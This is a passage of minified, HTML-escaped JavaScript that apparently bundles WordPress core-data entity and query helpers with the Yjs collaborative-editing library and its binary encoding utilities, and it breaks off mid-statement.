p_={};bt(p_,{EntityProvider:()=&gt;rh,__experimentalFetchLinkSuggestions:()=&gt;Lf,__experimentalFetchUrlData:()=&gt;Mf,__experimentalUseEntityRecord:()=&gt;lh,__experimentalUseEntityRecords:()=&gt;fh,__experimentalUseResourcePermissions:()=&gt;_h,fetchBlockPatterns:()=&gt;Uc,privateApis:()=&gt;Lh,store:()=&gt;q,useEntityBlockEditor:()=&gt;Th,useEntityId:()=&gt;Nr,useEntityProp:()=&gt;xh,useEntityRecord:()=&gt;Nc,useEntityRecords:()=&gt;ss,useResourcePermissions:()=&gt;wh});var ds=w(W(),1);var gc=w(Qe(),1),df=w(jn(),1),In=w(W(),1),ff=w(Xc(),1);var Zc=w(Qe(),1);function fs(t,e){if(!t)return e;let r=!1,n={};for(let o in e)(0,Zc.default)(t[o],e[o])?n[o]=t[o]:(r=!0,n[o]=e[o]);if(!r)return t;for(let o in t)n.hasOwnProperty(o)||(n[o]=t[o]);return n}function Gh(t){return typeof t==&quot;string&quot;?t.split(&quot;,&quot;):Array.isArray(t)?t:null}var ie=Gh;var $h=t=&gt;e=&gt;(r,n)=&gt;r===void 0||t(n)?e(r,n):r,Br=$h;var zh=t=&gt;(...e)=&gt;async({resolveSelect:r})=&gt;{await r[t](...e)},vt=zh;var Kh=t=&gt;e=&gt;(r={},n)=&gt;{let o=n[t];if(o===void 0)return r;let s=e(r[o],n);return s===r[o]?r:{...r,[o]:s}},Fn=Kh;var Hh=t=&gt;e=&gt;(r,n)=&gt;e(r,t(n)),jr=Hh;function qh(t){let e=new WeakMap;return r=&gt;{let n;return e.has(r)?n=e.get(r):(n=t(r),r!==null&amp;&amp;typeof r==&quot;object&quot;&amp;&amp;e.set(r,n)),n}}var hs=qh;function ps(t,e){return(t.rawAttributes||[]).includes(e)}function Xe(t,e,r){if(!t||typeof t!=&quot;object&quot;)return t;let n=Array.isArray(e)?e:e.split(&quot;.&quot;);return n.reduce((o,s,i)=&gt;(o[s]===void 0&amp;&amp;(Number.isInteger(n[i+1])?o[s]=[]:o[s]={}),i===n.length-1&amp;&amp;(o[s]=r),o[s]),t),t}function gs(t,e,r){if(!t||typeof t!=&quot;object&quot;||typeof e!=&quot;string&quot;&amp;&amp;!Array.isArray(e))return t;let n=Array.isArray(e)?e:e.split(&quot;.&quot;),o=t;return n.forEach(s=&gt;{o=o?.[s]}),o!==void 0?o:r}function Fr(t){return/^\s*\d+\s*$/.test(t)}var Ct=[&quot;create&quot;,&quot;read&quot;,&quot;update&quot;,&quot;delete&quot;];function Yr(t){let e={};if(!t)return e;let r={create:&quot;POST&quot;,read:&quot;GET&quot;,update:&quot;PUT&quot;,delete:&quot;DELETE&quot;};for(let[n,o]of Object.entries(r))e[n]=t.includes(o);return e}function Rt(t,e,r){return(typeof e==&quot;object&quot;?[t,e.kind,e.name,e.id]:[t,e,r]).filter(Boolean).join(&quot;/&quot;)}var Gr=Symbol(&quot;RECEIVE_INTERMEDIATE_RESULTS&quot;);function ms(t,e,r){return{type:&quot;RECEIVE_ITEMS&quot;,items:t,persistedEdits:e,meta:r}}function ea(t,e,r,n=!1){return{type:&quot;REMOVE_ITEMS&quot;,itemIds:Array.isArray(r)?r:[r],kind:t,name:e,invalidateCache:n}}function ta(t,e={},r,n){return{...ms(t,r,n),query:e}}var la=w(sa(),1),ua=w(W(),1);var ca=w(Ze(),1);function Xh(t){let e={stableKey:&quot;&quot;,page:1,perPage:10,fields:null,include:null,context:&quot;default&quot;},r=Object.keys(t).sort();for(let n=0;n&lt;r.length;n++){let o=r[n],s=t[o];switch(o){case&quot;page&quot;:e[o]=Number(s);break;case&quot;per_page&quot;:e.perPage=Number(s);break;case&quot;context&quot;:e.context=s;break;default:o===&quot;_fields&quot;&amp;&amp;(e.fields=ie(s)??[],s=e.fields.join()),o===&quot;include&quot;&amp;&amp;(typeof s==&quot;number&quot;&amp;&amp;(s=s.toString()),e.include=(ie(s)??[]).map(Number),s=e.include.join()),e.stableKey+=(e.stableKey?&quot;&amp;&quot;:&quot;&quot;)+(0,ca.addQueryArgs)(&quot;&quot;,{[o]:s}).slice(1)}}return e}var et=hs(Xh);var aa=new WeakMap;function Zh(t,e){let{stableKey:r,page:n,perPage:o,include:s,fields:i,context:c}=et(e),a;if(t.queries?.[c]?.[r]&amp;&amp;(a=t.queries[c][r].itemIds),!a)return null;let u=o===-1?0:(n-1)*o,l=o===-1?a.length:Math.min(u+o,a.length),d=[];for(let f=u;f&lt;l;f++){let h=a[f];if(Array.isArray(s)&amp;&amp;!s.includes(h)||h===void 0)continue;if(!t.items[c]?.hasOwnProperty(h))return null;let p=t.items[c][h],g;if(Array.isArray(i)){g={};for(let m=0;m&lt;i.length;m++){let y=i[m].split(&quot;.&quot;),E=p;y.forEach(_=&gt;{E=E?.[_]}),Xe(g,y,E)}}else{if(!t.itemIsComplete[c]?.[h])return null;g=p}d.push(g)}return d}var ys=(0,ua.createSelector)((t,e={})=&gt;{let r=aa.get(t);if(r){let o=r.get(e);if(o!==void 0)return o}else r=new la.default,aa.set(t,r);let n=Zh(t,e);return r.set(e,n),n});function Es(t,e={}){let{stableKey:r,context:n}=et(e);return t.queries?.[n]?.[r]?.meta?.totalItems??null}function da(t,e={}){let{stableKey:r,context:n}=et(e);return t.queries?.[n]?.[r]?.meta?.totalPages??null}var cf=w(W(),1),af=w(jn(),1);var tt=function(){return tt=Object.assign||function(e){for(var r,n=1,o=arguments.length;n&lt;o;n++){r=arguments[n];for(var s in r)Object.prototype.hasOwnProperty.call(r,s)&amp;&amp;(e[s]=r[s])}return e},tt.apply(this,arguments)};function fa(t){return t.toLowerCase()}var ep=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],tp=/[^A-Z0-9]+/gi;function Yn(t,e){e===void 0&amp;&amp;(e={});for(var r=e.splitRegexp,n=r===void 0?ep:r,o=e.stripRegexp,s=o===void 0?tp:o,i=e.transform,c=i===void 0?fa:i,a=e.delimiter,u=a===void 0?&quot; &quot;:a,l=ha(ha(t,n,&quot;$1\0$2&quot;),s,&quot;\0&quot;),d=0,f=l.length;l.charAt(d)===&quot;\0&quot;;)d++;for(;l.charAt(f-1)===&quot;\0&quot;;)f--;return l.slice(d,f).split(&quot;\0&quot;).map(c).join(u)}function ha(t,e,r){return e instanceof RegExp?t.replace(e,r):e.reduce(function(n,o){return n.replace(o,r)},t)}function ws(t,e){var r=t.charAt(0),n=t.substr(1).toLowerCase();return e&gt;0&amp;&amp;r&gt;=&quot;0&quot;&amp;&amp;r&lt;=&quot;9&quot;?&quot;_&quot;+r+n:&quot;&quot;+r.toUpperCase()+n}function $r(t,e){return e===void 0&amp;&amp;(e={}),Yn(t,tt({delimiter:&quot;&quot;,transform:ws},e))}function rp(t,e){return e===0?t.toLowerCase():ws(t,e)}function Gn(t,e){return e===void 0&amp;&amp;(e={}),$r(t,tt({transform:rp},e))}function pa(t){return t.charAt(0).toUpperCase()+t.substr(1)}function np(t){return pa(t.toLowerCase())}function ga(t,e){return e===void 0&amp;&amp;(e={}),Yn(t,tt({delimiter:&quot; &quot;,transform:np},e))}var xn=w(Ae(),1),Ho=w(nr(),1),B=w(_s(),1);var Or=w(W(),1);var C={};bt(C,{AbsolutePosition:()=&gt;so,AbstractConnector:()=&gt;Xs,AbstractStruct:()=&gt;br,AbstractType:()=&gt;F,Array:()=&gt;Ft,ContentAny:()=&gt;ft,ContentBinary:()=&gt;zt,ContentDeleted:()=&gt;vr,ContentDoc:()=&gt;Kt,ContentEmbed:()=&gt;Ke,ContentFormat:()=&gt;Y,ContentJSON:()=&gt;gn,ContentString:()=&gt;Te,ContentType:()=&gt;we,Doc:()=&gt;Me,GC:()=&gt;oe,ID:()=&gt;$e,Item:()=&gt;k,Map:()=&gt;Yt,PermanentUserData:()=&gt;ei,RelativePosition:()=&gt;_r,Skip:()=&gt;X,Snapshot:()=&gt;ln,Text:()=&gt;Sr,Transaction:()=&gt;co,UndoManager:()=&gt;Vt,UpdateDecoderV1:()=&gt;he,UpdateDecoderV2:()=&gt;ae,UpdateEncoderV1:()=&gt;Ne,UpdateEncoderV2:()=&gt;ge,XmlElement:()=&gt;$t,XmlFragment:()=&gt;Gt,XmlHook:()=&gt;pn,XmlText:()=&gt;go,YArrayEvent:()=&gt;uo,YEvent:()=&gt;jt,YMapEvent:()=&gt;fo,YTextEvent:()=&gt;ho,YXmlEvent:()=&gt;po,applyUpdate:()=&gt;fi,applyUpdateV2:()=&gt;Be,cleanupYTextFormatting:()=&gt;ou,compareIDs:()=&gt;Ut,compareRelativePositions:()=&gt;wg,convertUpdateFormatV1ToV2:()=&gt;jg,convertUpdateFormatV2ToV1:()=&gt;Fl,createAbsolutePositionFromRelativePosition:()=&gt;Eg,createDeleteSet:()=&gt;yo,createDeleteSetFromStructStore:()=&gt;li,createDocFromSnapshot:()=&gt;Rg,createID:()=&gt;R,createRelativePositionFromJSON:()=&gt;ug,createRelativePositionFromTypeIndex:()=&gt;fg,createSnapshot:()=&gt;Ei,decodeRelativePosition:()=&gt;mg,decodeSnapshot:()=&gt;bg,decodeSnapshotV2:()=&gt;Il,decodeStateVector:()=&gt;pi,decodeUpdate:()=&gt;Ug,decodeUpdateV2:()=&gt;Pl,diffUpdate:()=&gt;Ng,diffUpdateV2:()=&gt;wi,emptySnapshot:()=&gt;vg,encodeRelativePosition:()=&gt;pg,encodeSnapshot:()=&gt;Sg,encodeSnapshotV2:()=&gt;xl,encodeStateAsUpdate:()=&gt;hi,encodeStateAsUpdateV2:()=&gt;ht,encodeStateVector:()=&gt;mi,encodeStateVectorFromUpdate:()=&gt;Lg,encodeStateVectorFromUpdateV2:()=&gt;Nl,equalDeleteSets:()=&gt;vl,equalSnapshots:()=&gt;_g,findIndexSS:()=&gt;Ee,findRootTypeKey:()=&gt;yi,getItem:()=&gt;Lt,getItemCleanEnd:()=&gt;ni,getItemCleanStart:()=&gt;ne,getState:()=&gt;L,getTypeChildren:()=&gt;$g,isDeleted:()=&gt;Ht,isParentOf:()=&gt;an,iterateDeletedStructs:()=&gt;Pt,logType:()=&gt;ag,logUpdate:()=&gt;Og,logUpdateV2:()=&gt;Ll,mergeDeleteSets:()=&gt;Mt,mergeUpdates:()=&gt;Ml,mergeUpdatesV2:()=&gt;Bt,obfuscateUpdate:()=&gt;Vg,obfuscateUpdateV2:()=&gt;Bg,parseUpdateMeta:()=&gt;Pg,parseUpdateMetaV2:()=&gt;Vl,readUpdate:()=&gt;og,readUpdateV2:()=&gt;di,relativePositionToJSON:()=&gt;lg,snapshot:()=&gt;Cg,snapshotContainsUpdate:()=&gt;xg,transact:()=&gt;D,tryGc:()=&gt;Dg,typeListToArraySnapshot:()=&gt;zg,typeMapGetAllSnapshot:()=&gt;Zl,typeMapGetSnapshot:()=&gt;qg});var V=()=&gt;new Map,$n=t=&gt;{let e=V();return t.forEach((r,n)=&gt;{e.set(n,r)}),e},K=(t,e,r)=&gt;{let n=t.get(e);return n===void 0&amp;&amp;t.set(e,n=r()),n},wa=(t,e)=&gt;{let r=[];for(let[n,o]of t)r.push(e(o,n));return r},_a=(t,e)=&gt;{for(let[r,n]of t)if(e(n,r))return!0;return!1};var De=()=&gt;new Set;var zn=t=&gt;t[t.length-1];var Sa=(t,e)=&gt;{for(let r=0;r&lt;e.length;r++)t.push(e[r])},ve=Array.from;var ba=(t,e)=&gt;{for(let r=0;r&lt;t.length;r++)if(e(t[r],r,t))return!0;return!1};var va=(t,e)=&gt;{let r=new Array(t);for(let n=0;n&lt;t;n++)r[n]=e(n,r);return r};var xt=Array.isArray;var rt=class{constructor(){this._observers=V()}on(e,r){return K(this._observers,e,De).add(r),r}once(e,r){let n=(...o)=&gt;{this.off(e,n),r(...o)};this.on(e,n)}off(e,r){let n=this._observers.get(e);n!==void 0&amp;&amp;(n.delete(r),n.size===0&amp;&amp;this._observers.delete(e))}emit(e,r){return ve((this._observers.get(e)||V()).values()).forEach(n=&gt;n(...r))}destroy(){this._observers=V()}},sr=class{constructor(){this._observers=V()}on(e,r){K(this._observers,e,De).add(r)}once(e,r){let n=(...o)=&gt;{this.off(e,n),r(...o)};this.on(e,n)}off(e,r){let n=this._observers.get(e);n!==void 0&amp;&amp;(n.delete(r),n.size===0&amp;&amp;this._observers.delete(e))}emit(e,r){return ve((this._observers.get(e)||V()).values()).forEach(n=&gt;n(...r))}destroy(){this._observers=V()}};var fe=Math.floor;var ir=Math.abs;var Kn=(t,e)=&gt;t&lt;e?t:e,Ge=(t,e)=&gt;t&gt;e?t:e,SS=Number.isNaN;var Hn=t=&gt;t!==0?t&lt;0:1/t&lt;0;var bs=Number.MAX_SAFE_INTEGER,bS=Number.MIN_SAFE_INTEGER,vS=1&lt;&lt;31;var Ca=Number.isInteger||(t=&gt;typeof t==&quot;number&quot;&amp;&amp;isFinite(t)&amp;&amp;fe(t)===t),CS=Number.isNaN,RS=Number.parseInt;var vs=String.fromCharCode,TS=String.fromCodePoint,xS=vs(65535),op=t=&gt;t.toLowerCase(),sp=/^\s*/g,ip=t=&gt;t.replace(sp,&quot;&quot;),cp=/([A-Z])/g,Cs=(t,e)=&gt;ip(t.replace(cp,r=&gt;`${e}${op(r)}`));var ap=t=&gt;{let e=unescape(encodeURIComponent(t)),r=e.length,n=new Uint8Array(r);for(let o=0;o&lt;r;o++)n[o]=e.codePointAt(o);return n},ar=typeof TextEncoder&lt;&quot;u&quot;?new TextEncoder:null,lp=t=&gt;ar.encode(t),Ta=ar?lp:ap;var cr=typeof TextDecoder&gt;&quot;u&quot;?null:new TextDecoder(&quot;utf-8&quot;,{fatal:!0,ignoreBOM:!0});cr&amp;&amp;cr.decode(new Uint8Array).length===1&amp;&amp;(cr=null);var xa=(t,e)=&gt;va(e,()=&gt;t).join(&quot;&quot;);var It=class{constructor(){this.cpos=0,this.cbuf=new Uint8Array(100),this.bufs=[]}},Ce=()=&gt;new It;var up=t=&gt;{let e=t.cpos;for(let r=0;r&lt;t.bufs.length;r++)e+=t.bufs[r].length;return e};var re=t=&gt;{let e=new Uint8Array(up(t)),r=0;for(let n=0;n&lt;t.bufs.length;n++){let o=t.bufs[n];e.set(o,r),r+=o.length}return e.set(new Uint8Array(t.cbuf.buffer,0,t.cpos),r),e},dp=(t,e)=&gt;{let r=t.cbuf.length;r-t.cpos&lt;e&amp;&amp;(t.bufs.push(new Uint8Array(t.cbuf.buffer,0,t.cpos)),t.cbuf=new Uint8Array(Ge(r,e)*2),t.cpos=0)},H=(t,e)=&gt;{let r=t.cbuf.length;t.cpos===r&amp;&amp;(t.bufs.push(t.cbuf),t.cbuf=new Uint8Array(r*2),t.cpos=0),t.cbuf[t.cpos++]=e};var fr=H;var v=(t,e)=&gt;{for(;e&gt;127;)H(t,128|127&amp;e),e=fe(e/128);H(t,127&amp;e)},Wr=(t,e)=&gt;{let r=Hn(e);for(r&amp;&amp;(e=-e),H(t,(e&gt;63?128:0)|(r?64:0)|63&amp;e),e=fe(e/64);e&gt;0;)H(t,(e&gt;127?128:0)|127&amp;e),e=fe(e/128)},Rs=new Uint8Array(3e4),fp=Rs.length/3,hp=(t,e)=&gt;{if(e.length&lt;fp){let r=ar.encodeInto(e,Rs).written||0;v(t,r);for(let n=0;n&lt;r;n++)H(t,Rs[n])}else J(t,Ta(e))},pp=(t,e)=&gt;{let r=unescape(encodeURIComponent(e)),n=r.length;v(t,n);for(let o=0;o&lt;n;o++)H(t,r.codePointAt(o))},nt=ar&amp;&amp;ar.encodeInto?hp:pp;var Oa=(t,e)=&gt;hr(t,re(e)),hr=(t,e)=&gt;{let r=t.cbuf.length,n=t.cpos,o=Kn(r-n,e.length),s=e.length-o;t.cbuf.set(e.subarray(0,o),n),t.cpos+=o,s&gt;0&amp;&amp;(t.bufs.push(t.cbuf),t.cbuf=new Uint8Array(Ge(r*2,s)),t.cbuf.set(e.subarray(o)),t.cpos=s)},J=(t,e)=&gt;{v(t,e.byteLength),hr(t,e)},Ts=(t,e)=&gt;{dp(t,e);let r=new DataView(t.cbuf.buffer,t.cpos,e);return t.cpos+=e,r},gp=(t,e)=&gt;Ts(t,4).setFloat32(0,e,!1),mp=(t,e)=&gt;Ts(t,8).setFloat64(0,e,!1),yp=(t,e)=&gt;Ts(t,8).setBigInt64(0,e,!1);var Aa=new DataView(new ArrayBuffer(4)),Ep=t=&gt;(Aa.setFloat32(0,t),Aa.getFloat32(0)===t),ur=(t,e)=&gt;{switch(typeof e){case&quot;string&quot;:H(t,119),nt(t,e);break;case&quot;number&quot;:Ca(e)&amp;&amp;ir(e)&lt;=2147483647?(H(t,125),Wr(t,e)):Ep(e)?(H(t,124),gp(t,e)):(H(t,123),mp(t,e));break;case&quot;bigint&quot;:H(t,122),yp(t,e);break;case&quot;object&quot;:if(e===null)H(t,126);else if(xt(e)){H(t,117),v(t,e.length);for(let r=0;r&lt;e.length;r++)ur(t,e[r])}else if(e instanceof Uint8Array)H(t,116),J(t,e);else{H(t,118);let r=Object.keys(e);v(t,r.length);for(let n=0;n&lt;r.length;n++){let o=r[n];nt(t,o),ur(t,e[o])}}break;case&quot;boolean&quot;:H(t,e?120:121);break;default:H(t,127)}},qr=class extends It{constructor(e){super(),this.w=e,this.s=null,this.count=0}write(e){this.s===e?this.count++:(this.count&gt;0&amp;&amp;v(this,this.count-1),this.count=1,this.w(this,e),this.s=e)}};var Da=t=&gt;{t.count&gt;0&amp;&amp;(Wr(t.encoder,t.count===1?t.s:-t.s),t.count&gt;1&amp;&amp;v(t.encoder,t.count-2))},At=class{constructor(){this.encoder=new It,this.s=0,this.count=0}write(e){this.s===e?this.count++:(Da(this),this.count=1,this.s=e)}toUint8Array(){return Da(this),re(this.encoder)}};var ka=t=&gt;{if(t.count&gt;0){let e=t.diff*2+(t.count===1?0:1);Wr(t.encoder,e),t.count&gt;1&amp;&amp;v(t.encoder,t.count-2)}},dr=class{constructor(){this.encoder=new It,this.s=0,this.count=0,this.diff=0}write(e){this.diff===e-this.s?(this.s=e,this.count++):(ka(this),this.count=1,this.diff=e-this.s,this.s=e)}toUint8Array(){return ka(this),re(this.encoder)}},qn=class{constructor(){this.sarr=[],this.s=&quot;&quot;,this.lensE=new At}write(e){this.s+=e,this.s.length&gt;19&amp;&amp;(this.sarr.push(this.s),this.s=&quot;&quot;),this.lensE.write(e.length)}toUint8Array(){let e=new It;return this.sarr.push(this.s),this.s=&quot;&quot;,nt(e,this.sarr.join(&quot;&quot;)),hr(e,this.lensE.toUint8Array()),re(e)}};var ke=t=&gt;new Error(t),Re=()=&gt;{throw ke(&quot;Method unimplemented&quot;)},ce=()=&gt;{throw ke(&quot;Unexpected case&quot;)};var La=ke(&quot;Unexpected end of array&quot;),Pa=ke(&quot;Integer out of Range&quot;),pr=class{constructor(e){this.arr=e,this.pos=0}},G=t=&gt;new pr(t),Is=t=&gt;t.pos!==t.arr.length;var wp=(t,e)=&gt;{let r=new Uint8Array(t.arr.buffer,t.pos+t.arr.byteOffset,e);return t.pos+=e,r},Q=t=&gt;wp(t,T(t));var Dt=t=&gt;t.arr[t.pos++];var T=t=&gt;{let e=0,r=1,n=t.arr.length;for(;t.pos&lt;n;){let o=t.arr[t.pos++];if(e=e+(o&amp;127)*r,r*=128,o&lt;128)return e;if(e&gt;bs)throw Pa}throw La},Qr=t=&gt;{let e=t.arr[t.pos++],r=e&amp;63,n=64,o=(e&amp;64)&gt;0?-1:1;if((e&amp;128)===0)return o*r;let s=t.arr.length;for(;t.pos&lt;s;){if(e=t.arr[t.pos++],r=r+(e&amp;127)*n,n*=128,e&lt;128)return o*r;if(r&gt;bs)throw Pa}throw La};var _p=t=&gt;{let e=T(t);if(e===0)return&quot;&quot;;{let r=String.fromCodePoint(Dt(t));if(--e&lt;100)for(;e--;)r+=String.fromCodePoint(Dt(t));else for(;e&gt;0;){let n=e&lt;1e4?e:1e4,o=t.arr.subarray(t.pos,t.pos+n);t.pos+=n,r+=String.fromCodePoint.apply(null,o),e-=n}return decodeURIComponent(escape(r))}},Sp=t=&gt;cr.decode(Q(t)),st=cr?Sp:_p;var As=(t,e)=&gt;{let r=new DataView(t.arr.buffer,t.arr.byteOffset+t.pos,e);return t.pos+=e,r},bp=t=&gt;As(t,4).getFloat32(0,!1),vp=t=&gt;As(t,8).getFloat64(0,!1),Cp=t=&gt;As(t,8).getBigInt64(0,!1);var Rp=[t=&gt;{},t=&gt;null,Qr,bp,vp,Cp,t=&gt;!1,t=&gt;!0,st,t=&gt;{let e=T(t),r={};for(let n=0;n&lt;e;n++){let o=st(t);r[o]=gr(t)}return r},t=&gt;{let e=T(t),r=[];for(let n=0;n&lt;e;n++)r.push(gr(t));return r},Q],gr=t=&gt;Rp[127-Dt(t)](t),Jr=class extends pr{constructor(e,r){super(e),this.reader=r,this.s=null,this.count=0}read(){return this.count===0&amp;&amp;(this.s=this.reader(this),Is(this)?this.count=T(this)+1:this.count=-1),this.count--,this.s}};var kt=class extends pr{constructor(e){super(e),this.s=0,this.count=0}read(){if(this.count===0){this.s=Qr(this);let e=Hn(this.s);this.count=1,e&amp;&amp;(this.s=-this.s,this.count=T(this)+2)}return this.count--,this.s}};var mr=class extends pr{constructor(e){super(e),this.s=0,this.count=0,this.diff=0}read(){if(this.count===0){let e=Qr(this),r=e&amp;1;this.diff=fe(e/2),this.count=1,r&amp;&amp;(this.count=T(this)+2)}return this.s+=this.diff,this.count--,this.s}},Wn=class{constructor(e){this.decoder=new kt(e),this.str=st(this.decoder),this.spos=0}read(){let e=this.spos+this.decoder.read(),r=this.str.slice(this.spos,e);return this.spos=e,r}};var DS=crypto.subtle,Ma=crypto.getRandomValues.bind(crypto);var ks=()=&gt;Ma(new Uint32Array(1))[0];var Tp=&quot;10000000-1000-4000-8000&quot;+-1e11,Na=()=&gt;Tp.replace(/[018]/g,t=&gt;(t^ks()&amp;15&gt;&gt;t/4).toString(16));var it=Date.now;var Us=t=&gt;new Promise(t);var US=Promise.all.bind(Promise);var Ls=t=&gt;t===void 0?null:t;var Ps=class{constructor(){this.map=new Map}setItem(e,r){this.map.set(e,r)}getItem(e){return this.map.get(e)}},Va=new Ps,Dp=!0;try{typeof localStorage&lt;&quot;u&quot;&amp;&amp;localStorage&amp;&amp;(Va=localStorage,Dp=!1)}catch{}var Ba=Va;var Fa=Object.assign,Ya=Object.keys,Ga=(t,e)=&gt;{for(let r in t)e(t[r],r)};var Ms=t=&gt;Ya(t).length,ja=t=&gt;Ya(t).length;var $a=t=&gt;{for(let e in t)return!1;return!0},Op=(t,e)=&gt;{for(let r in t)if(!e(t[r],r))return!1;return!0},Ns=(t,e)=&gt;Object.prototype.hasOwnProperty.call(t,e),Vs=(t,e)=&gt;t===e||ja(t)===ja(e)&amp;&amp;Op(t,(r,n)=&gt;(r!==void 0||Ns(e,n))&amp;&amp;e[n]===r),Up=Object.freeze,Bs=t=&gt;{for(let e in t){let r=t[e];(typeof r==&quot;object&quot;||typeof r==&quot;function&quot;)&amp;&amp;Bs(t[e])}return Up(t)};var Zr=(t,e,r=0)=&gt;{try{for(;r&lt;t.length;r++)t[r](...e)}finally{r&lt;t.length&amp;&amp;Zr(t,e,r+1)}};var js=t=&gt;t,Lp=(t,e)=&gt;t===e;var Xr=(t,e)=&gt;{if(t==null||e==null)return Lp(t,e);if(t.constructor!==e.constructor)return!1;if(t===e)return!0;switch(t.constructor){case ArrayBuffer:t=new Uint8Array(t),e=new Uint8Array(e);case Uint8Array:{if(t.byteLength!==e.byteLength)return!1;for(let r=0;r&lt;t.length;r++)if(t[r]!==e[r])return!1;break}case Set:{if(t.size!==e.size)return!1;for(let r of t)if(!e.has(r))return!1;break}case Map:{if(t.size!==e.size)return!1;for(let r of t.keys())if(!e.has(r)||!Xr(t.get(r),e.get(r)))return!1;break}case Object:if(Ms(t)!==Ms(e))return!1;for(let r in t)if(!Ns(t,r)||!Xr(t[r],e[r]))return!1;break;case Array:if(t.length!==e.length)return!1;for(let r=0;r&lt;t.length;r++)if(!Xr(t[r],e[r]))return!1;break;default:return!1}return!0},Ka=(t,e)=&gt;e.includes(t);var yr=typeof process&lt;&quot;u&quot;&amp;&amp;process.release&amp;&amp;/node|io\.js/.test(process.release.name)&amp;&amp;Object.prototype.toString.call(typeof process&lt;&quot;u&quot;?process:0)===&quot;[object process]&quot;,Jn=typeof window&lt;&quot;u&quot;&amp;&amp;typeof document&lt;&quot;u&quot;&amp;&amp;!yr,LS=typeof navigator&lt;&quot;u&quot;?/Mac/.test(navigator.platform):!1,Oe,Pp=[],Mp=()=&gt;{if(Oe===void 0)if(yr){Oe=V();let t=process.argv,e=null;for(let r=0;r&lt;t.length;r++){let n=t[r];n[0]===&quot;-&quot;?(e!==null&amp;&amp;Oe.set(e,&quot;&quot;),e=n):e!==null?(Oe.set(e,n),e=null):Pp.push(n)}e!==null&amp;&amp;Oe.set(e,&quot;&quot;)}else typeof location==&quot;object&quot;?(Oe=V(),(location.search||&quot;?&quot;).slice(1).split(&quot;&amp;&quot;).forEach(t=&gt;{if(t.length!==0){let[e,r]=t.split(&quot;=&quot;);Oe.set(`--${Cs(e,&quot;-&quot;)}`,r),Oe.set(`-${Cs(e,&quot;-&quot;)}`,r)}})):Oe=V();return Oe},Ys=t=&gt;Mp().has(t);var en=t=&gt;yr?Ls(process.env[t.toUpperCase().replaceAll(&quot;-&quot;,&quot;_&quot;)]):Ls(Ba.getItem(t));var Ha=t=&gt;Ys(&quot;--&quot;+t)||en(t)!==null,PS=Ha(&quot;production&quot;),Np=yr&amp;&amp;Ka(process.env.FORCE_COLOR,[&quot;true&quot;,&quot;1&quot;,&quot;2&quot;]),qa=Np||!Ys(&quot;--no-colors&quot;)&amp;&amp;!Ha(&quot;no-color&quot;)&amp;&amp;(!yr||process.stdout.isTTY)&amp;&amp;(!yr||Ys(&quot;--color&quot;)||en(&quot;COLORTERM&quot;)!==null||(en(&quot;TERM&quot;)||&quot;&quot;).includes(&quot;color&quot;));var Wa=t=&gt;new Uint8Array(t),Vp=(t,e,r)=&gt;new Uint8Array(t,e,r);var Bp=t=&gt;{let e=&quot;&quot;;for(let r=0;r&lt;t.byteLength;r++)e+=vs(t[r]);return btoa(e)},jp=t=&gt;Buffer.from(t.buffer,t.byteOffset,t.byteLength).toString(&quot;base64&quot;),Fp=t=&gt;{let e=atob(t),r=Wa(e.length);for(let n=0;n&lt;e.length;n++)r[n]=e.charCodeAt(n);return r},Yp=t=&gt;{let e=Buffer.from(t,&quot;base64&quot;);return Vp(e.buffer,e.byteOffset,e.byteLength)},Ja=Jn?Bp:jp,Qa=Jn?Fp:Yp;var Xa=t=&gt;{let e=Wa(t.byteLength);return e.set(t),e};var $s=class{constructor(e,r){this.left=e,this.right=r}},Ue=(t,e)=&gt;new $s(t,e);var Ot=typeof document&lt;&quot;u&quot;?document:{};var MS=typeof DOMParser&lt;&quot;u&quot;?new DOMParser:null;var el=t=&gt;wa(t,(e,r)=&gt;`${r}:${e};`).join(&quot;&quot;);var NS=Ot.ELEMENT_NODE,VS=Ot.TEXT_NODE,BS=Ot.CDATA_SECTION_NODE,jS=Ot.COMMENT_NODE,FS=Ot.DOCUMENT_NODE,YS=Ot.DOCUMENT_TYPE_NODE,GS=Ot.DOCUMENT_FRAGMENT_NODE;var Le=Symbol;var tn=Le(),rn=Le(),zs=Le(),Ks=Le(),Hs=Le(),nn=Le(),qs=Le(),Er=Le(),Ws=Le(),tl=t=&gt;{t.length===1&amp;&amp;t[0]?.constructor===Function&amp;&amp;(t=t[0]());let e=[],r=[],n=0;for(;n&lt;t.length;n++){let o=t[n];if(o===void 0)break;if(o.constructor===String||o.constructor===Number)e.push(o);else if(o.constructor===Object)break}for(n&gt;0&amp;&amp;r.push(e.join(&quot;&quot;));n&lt;t.length;n++){let o=t[n];o instanceof Symbol||r.push(o)}return r};var $S=it();var Hp={[tn]:Ue(&quot;font-weight&quot;,&quot;bold&quot;),[rn]:Ue(&quot;font-weight&quot;,&quot;normal&quot;),[zs]:Ue(&quot;color&quot;,&quot;blue&quot;),[Hs]:Ue(&quot;color&quot;,&quot;green&quot;),[Ks]:Ue(&quot;color&quot;,&quot;grey&quot;),[nn]:Ue(&quot;color&quot;,&quot;red&quot;),[qs]:Ue(&quot;color&quot;,&quot;purple&quot;),[Er]:Ue(&quot;color&quot;,&quot;orange&quot;),[Ws]:Ue(&quot;color&quot;,&quot;black&quot;)},qp=t=&gt;{t.length===1&amp;&amp;t[0]?.constructor===Function&amp;&amp;(t=t[0]());let e=[],r=[],n=V(),o=[],s=0;for(;s&lt;t.length;s++){let i=t[s],c=Hp[i];if(c!==void 0)n.set(c.left,c.right);else{if(i===void 0)break;if(i.constructor===String||i.constructor===Number){let a=el(n);s&gt;0||a.length&gt;0?(e.push(&quot;%c&quot;+i),r.push(a)):e.push(i)}else break}}for(s&gt;0&amp;&amp;(o=r,o.unshift(e.join(&quot;&quot;)));s&lt;t.length;s++){let i=t[s];i instanceof Symbol||o.push(i)}return o},rl=qa?qp:tl,Qn=(...t)=&gt;{console.log(...rl(t)),nl.forEach(e=&gt;e.print(t))},Js=(...t)=&gt;{console.warn(...rl(t)),t.unshift(Er),nl.forEach(e=&gt;e.print(t))};var nl=De();var ol=t=&gt;({[Symbol.iterator](){return this},next:t}),sl=(t,e)=&gt;ol(()=&gt;{let r;do r=t.next();while(!r.done&amp;&amp;!e(r.value));return r}),Xn=(t,e)=&gt;ol(()=&gt;{let{done:r,value:n}=t.next();return{done:r,value:r?void 0:e(n)}});var Xs=class extends rt{constructor(e,r){super(),this.doc=e,this.awareness=r}},sn=class{constructor(e,r){this.clock=e,this.len=r}},ut=class{constructor(){this.clients=new Map}},Pt=(t,e,r)=&gt;e.clients.forEach((n,o)=&gt;{let 